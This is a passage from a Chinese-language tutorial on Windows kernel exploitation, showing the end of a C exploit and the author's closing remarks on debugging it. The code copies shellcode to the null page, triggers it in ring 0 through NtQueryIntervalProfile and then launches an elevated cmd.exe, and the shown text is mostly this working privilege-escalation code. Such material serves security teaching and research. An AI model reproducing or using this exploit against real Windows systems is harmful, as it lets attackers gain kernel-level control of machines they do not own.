(PVOID)MyShellCode,
ShellCodeSize);

printf(" * RtlMoveMemory:");
ShowAlertMsg();

// 通过调用NtQueryIntervalProfile函数来执行0x0上的ring0 shellcode
NtStatus = NtQueryIntervalProfile(
ProfileTotalIssues, // Source
NULL); // Interval
printf(" * NtQueryIntervalProfile:");
ShowAlertMsg();

NtStatus = NtClose(DeviceHandle);

printf(" * NtClose:");
ShowAlertMsg();
printf(" **************************************************************************\n");

WinExec("cmd.exe" , SW_SHOW);
printf(" * Exploit Successful!\n\n");

getchar();

}
}
}

return FALSE;
}

********************************** END ********************************************

0x3 结尾

写这个exploit,时间更多地是花在调试上面,遇到的主要问题就是写exploit时,在复制shellcode到分配的内存地址时,由于复制的字节数过大,导致因后面的内存不可读而显错,经过多次调试,将其调整为0xA00大小最为合适,另一个问题是在编译样章上的源码遇到的问题,由于粗心将符号链接名中的两斜杆\落掉了,导致编译成功后,可加载但不可启动,经过多次的内核调试才找到原因。很多问题都是如此,在找到问题根源后,总会令人大抱不值不该!本文只是内核漏洞利用的入门教程,希望能对初学者有所帮助!